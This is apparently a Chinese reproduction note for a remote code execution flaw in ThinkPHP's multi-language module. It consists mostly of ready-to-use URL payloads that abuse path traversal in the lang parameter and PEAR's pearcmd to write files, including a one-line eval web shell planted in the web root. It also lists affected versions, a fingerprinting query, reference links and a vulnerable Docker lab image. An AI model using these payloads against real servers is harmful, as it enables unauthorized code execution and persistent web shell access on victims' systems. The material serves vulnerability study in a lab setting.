【漏洞复现】ThinkPHP 多语言模块RCE

# 写文件http://172.17.0.2/public/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php# 包含文件http://172.17.0.2/public/index.php?lang=../../../../../../../../tmp/hello# 直接写一句话?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['ant']);?>+/var/www/html/ant.php# Header和Cookie方式在文中

v6.0.1 < Thinkphp < v6.0.13Thinkphp v5.0.xThinkphp v5.1.x

header="think_lang"

/index.php?s=index/index/index/think_lang/../../extend/pearcmd/pearcmd/index&cmd=whoami/public/index?lang=../../../../../../../Applications/MAMP/bin/php/php5.6.40/lib/php/pearcmd&+config-create+/&/<?=phpinfo()?>+/tmp/hello.php

https://tttang.com/archive/186https://nosec.org/home/detail/5050.htmhttps://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp

docker pull vulfocus/thinkphp:6.0.12